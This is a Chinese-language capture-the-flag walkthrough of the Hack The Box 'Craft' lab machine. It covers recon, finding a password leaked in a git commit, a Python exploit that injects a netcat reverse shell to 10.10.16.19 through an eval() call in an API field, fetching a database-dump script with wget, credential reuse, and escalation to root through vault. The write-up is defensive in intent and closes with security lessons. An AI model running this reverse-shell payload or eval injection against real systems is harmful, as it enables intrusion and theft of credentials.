[writeup] HTB Craft
by xiangxiang
0x00 信息收集
- 只有ip信息,第一步当然是先扫一下的
~ # nmap -p- -Pn -vv 10.10.10.110
...
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110
...
- web
在页面上点一下发现会有对下面几个页面的访问请求
https://gogs.craft.htb https://api.craft.htb/api
- 修改本地的
/etc/hosts
,加入10.10.10.110 craft.htb 10.10.10.110 gogs.craft.htb 10.10.10.110 api.craft.htb
https://gogs.craft.htb
-
有craft服务的源代码,craft是基于flask
- gogs本身也有一些历史漏洞,但服务器使用的版本没有可以利用的,可以用这个工具试试 https://github.com/TheZ3ro/gogsownz
python3 gogsownz.py https://gogs.craft.htb -k -v --info
- 在issues里面有两个issus
1. /api/brew没有auth 可以改数据库 这个已经close
2. Bogus ABV values
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
- 把代码clone下来, 接下来就是代码审计
git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git
代码审计
- password leak: git commit
a2d28ed155
中leak了一个用户名密码,后面只是删除了重新commit
root@kali:~/craft-api# git diff a2d28ed1554adddfcfb845879bfea09f976ab7c1 10e3ba4f0a09c778d7cec673f28d410b73455a86
diff --git a/tests/test.py b/tests/test.py
index 9b0e2e2..40d5470 100644
--- a/tests/test.py
+++ b/tests/test.py
@@ -3,7 +3,7 @@
import requests
import json
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
- 数据库中的用户密码是明文保存的
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(45))
password = db.Column(db.String(80))
def __init__(self, username, password):
self.username = username
self.password = password
eval
is evil: 为了修复Bogus ABV values的issue, 代码中引入了一个基于eval
的判断
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
eval
RCE漏洞利用
-
可以利用代码中的
tests/test.py
写exploit -
这里的反弹shell payload需要多进行尝试,很多payload会出错
-
exploit
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import json
# auth & get token
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict["abv"] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.19 4444 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
-
本地用nc开一个监听,执行payload可以成功反弹shell
-
看到是
root
用户很开心,但实际一看应该是容器里面的,也没有flag.txt
user flag
- settings.py中有数据库的配置信息
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
- 参考
dbtest.py
写一个dump用户名密码的python脚本,传到容器里执行
#!/usr/bin/env python
import pymysql
# test connection to mysql database
connection = pymysql.connect(host='db',
user='craft',
password='qLGockJ6G2J75O',
db='craft',
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `username`, `password` FROM `user`"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
-
本地用
python -m SimpleHTTPServer
开一个http server, 容器里面执行wget http://10.10.16.19:8000/dbdump.py
-
容器里面执行
python dbdump.py
, 拿到所有用户名密码
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
-
使用这三个账户去尝试登录ssh, 均失败
-
gilfoyle账户可以成功登录gogs.craft.htb, 发现一个新的私有仓库
craft-infra
,这个repos里面有登录的ssh key文件id_rsa
-
gilfoyle同志一套密码打天下,ssh key文件
id_rsa
密码还是ZEU3N8WNM2rh4T
-
ssh gilfoyle@10.10.10.110 -i id_rsa
成功拿到user flag
root flag
-
关键还是需要去枚举gogs上的私有仓库
craft-infra
-
有一个
vault
服务 -
跑一下LinEnum.sh的脚本,发现也有
vault server
的进程在跑 -
仔细读一下
craft-infra
的文件,再参考vault的文档 -
然后
vault ssh -mode=otp -role root_otp root@10.10.10.110
一下就有root flag了
lessons
- git提交的代码中不要有密码,要另外放文件并把文件加入到.gitignore里面
- git仓库清理方法要正确
- 用户密码不能明文保存
- 不要使用危险的函数,比如
eval
, 如果没有代码扫描工具可以通过简单的grep
命令进行自动审计 - 不要一套密码打天下